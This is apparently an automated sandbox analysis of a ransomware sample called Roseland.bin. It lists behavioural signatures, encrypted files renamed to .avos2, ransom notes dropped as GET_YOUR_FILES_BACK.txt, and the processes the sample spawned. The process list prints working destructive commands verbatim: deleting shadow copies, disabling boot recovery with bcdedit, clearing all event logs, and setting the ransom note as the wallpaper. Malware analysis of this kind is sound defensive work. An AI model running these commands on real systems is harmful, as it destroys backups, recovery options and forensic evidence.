Analysis Overview
SHA256
bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705
Threat Level: Likely malicious
The file Roseland.bin was found to be: Likely malicious.
Malicious Activity Summary
Modifies boot configuration data using bcdedit
Deletes shadow copies
Modifies extensions of user files
Enumerates connected drives
Drops desktop.ini file(s)
Sets desktop wallpaper using registry
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Interacts with shadow copies
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-30 14:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-30 14:44
Reported
2023-01-30 14:47
Platform
win7-20221111-en
Max time kernel
51s
Max time network
33s
Command Line
Signatures
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\NewInstall.crw => C:\Users\Admin\Pictures\NewInstall.crw.avos2 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Drops desktop.ini file(s)
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1612601169.png" | C:\Windows\system32\reg.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\Sounds\People\HICCUP.WAV | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\my\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_dot.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PUBBA\MSPUB8.BDR | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN103.XML | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Americana\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsImageTemplate.html | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\mshwLatin.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Google\Chrome\Application\89.0.4389.114\VisualElements\SmallLogo.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Templates\1033\ClassicPhotoAlbum.potx | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR18F.GIF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0196358.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Campo_Grande | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Windows Sidebar\Gadgets\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\PSRCHSRN.DAT | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD_COL.HXC | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105320.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_ja_4.4.0.v20140623020002.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\security\local_policy.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_fr.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME54.CSS | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\SoftBlue\TAB_ON.GIF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\America\Swift_Current | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sampler.xml | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD15034_.GIF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\it-IT\css\RSSFeeds.css | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\flyout.html | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.ja_5.5.0.165303.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Templates\1033\MedianMergeLetter.Dotx | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue.css | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\Gadget_Main_Background_Loading.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\Asia\Ho_Chi_Minh | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore_2.10.1.v20140901-1043.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+11 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\ja-JP\calendar.html | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152628.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02270_.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Boise | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\EMAIL.XML | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\square_s.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\DVD Maker\es-ES\WMM2CLIP.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Welcome Tool\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\BUTTON.JPG | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21340_.GIF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\System\msadc\en-US\msdaremr.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341559.JPG | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\Microsoft Games\Multiplayer\Spades\es-ES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectTaskIconMask.bmp | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107290.WMF | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\settings.html | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Roseland.exe
"C:\Users\Admin\AppData\Local\Temp\Roseland.exe"
C:\Windows\system32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\system32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1612601169.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
Files
memory/2000-54-0x0000000000000000-mapping.dmp
memory/956-55-0x0000000000000000-mapping.dmp
memory/320-56-0x0000000000000000-mapping.dmp
memory/1476-57-0x0000000000000000-mapping.dmp
memory/1456-59-0x0000000000000000-mapping.dmp
memory/472-60-0x0000000000000000-mapping.dmp
memory/564-58-0x0000000000000000-mapping.dmp
memory/764-62-0x0000000000000000-mapping.dmp
memory/268-61-0x0000000000000000-mapping.dmp
memory/2404-63-0x0000000000000000-mapping.dmp
memory/2404-64-0x000007FEFC201000-0x000007FEFC203000-memory.dmp
memory/2404-65-0x000007FEF4390000-0x000007FEF4DB3000-memory.dmp
memory/2404-67-0x0000000002244000-0x0000000002247000-memory.dmp
memory/2404-66-0x000007FEF3830000-0x000007FEF438D000-memory.dmp
memory/2404-68-0x000000000224B000-0x000000000226A000-memory.dmp
memory/2404-69-0x0000000002244000-0x0000000002247000-memory.dmp
memory/2404-70-0x000000000224B000-0x000000000226A000-memory.dmp
memory/2844-71-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | de81fdc2a98fa8b585f097a98b1b15e0 |
| SHA1 | aee4694b60d3359e282b08b1c237641a2241c7df |
| SHA256 | c0ca00e1047dc6ce4175da2bd41fd697f3c8471eea08f5f255c85467b0f884dc |
| SHA512 | 10a6471994caf26b7fbb2bbfaecd29880b761b21d68e8a6ecfb89f9f05e0b63b938beb8f85c46196411a8c233b2e1de7682a71e010acba1a2e9010f55452a0f9 |
memory/2844-74-0x000007FEF4570000-0x000007FEF4F93000-memory.dmp
memory/2844-75-0x000007FEF3A10000-0x000007FEF456D000-memory.dmp
memory/2844-76-0x0000000002454000-0x0000000002457000-memory.dmp
C:\GET_YOUR_FILES_BACK.txt
| MD5 | 6d81ed40ba0a283e5483bfe6a448e9d7 |
| SHA1 | 0c847a5f9df743b13e1aa11b4c24a4309e9a7119 |
| SHA256 | b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d |
| SHA512 | 8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379 |
memory/2844-78-0x000000000245B000-0x000000000247A000-memory.dmp
memory/2920-79-0x0000000000000000-mapping.dmp
memory/2932-80-0x0000000000000000-mapping.dmp
memory/2844-81-0x0000000002454000-0x0000000002457000-memory.dmp
memory/2844-82-0x000000000245B000-0x000000000247A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-30 14:44
Reported
2023-01-30 14:47
Platform
win10v2004-20221111-en
Max time kernel
91s
Max time network
147s
Command Line
Signatures
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\CheckpointEnable.tif => C:\Users\Admin\Pictures\CheckpointEnable.tif.avos2 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SplitSearch.raw => C:\Users\Admin\Pictures\SplitSearch.raw.avos2 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ExitSuspend.png => C:\Users\Admin\Pictures\ExitSuspend.png.avos2 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Drops desktop.ini file(s)
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\850290291.png" | C:\Windows\system32\reg.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptySearch-Dark.scale-150.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019MSDNR_Retail-ppd.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_zh_CN.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019MSDNR_Retail-ul-phn.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad\keypadbase.xml | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagementSource\ja-JP\MSFT_PackageManagementSource.strings.psd1 | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial2-ul-oob.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL077.XML | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-gb\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_pattern_RHP.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarLargeTile.scale-100.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\vreg\powerpoint.x-none.msi.16.x-none.vreg.dat | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Common Files\System\Ole DB\en-US\msdasqlr.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\msedge_100_percent.pak.DATA | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\kn.pak | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\ExchangeLargeTile.scale-100.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\OutlookMailSmallTile.scale-150.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-phn.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\StandardVL_KMS_Client-ppd.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\EdgeWebView.dat.DATA | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\System\msadc\en-US\msdaprsr.dll.mui | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailLargeTile.scale-400.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_thumbnailview_18.svg | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\ExchangeMediumTile.scale-200.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019XC2RVL_MAKC2R-ppd.xrm-ms | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.service.exsd | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\ga\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\pt-br\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nb-no\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-40.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarSplashLogo.scale-300.png | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
| File opened for modification | C:\Program Files\VideoLAN\VLC\lua\http\js\common.js | C:\Users\Admin\AppData\Local\Temp\Roseland.exe | N/A |
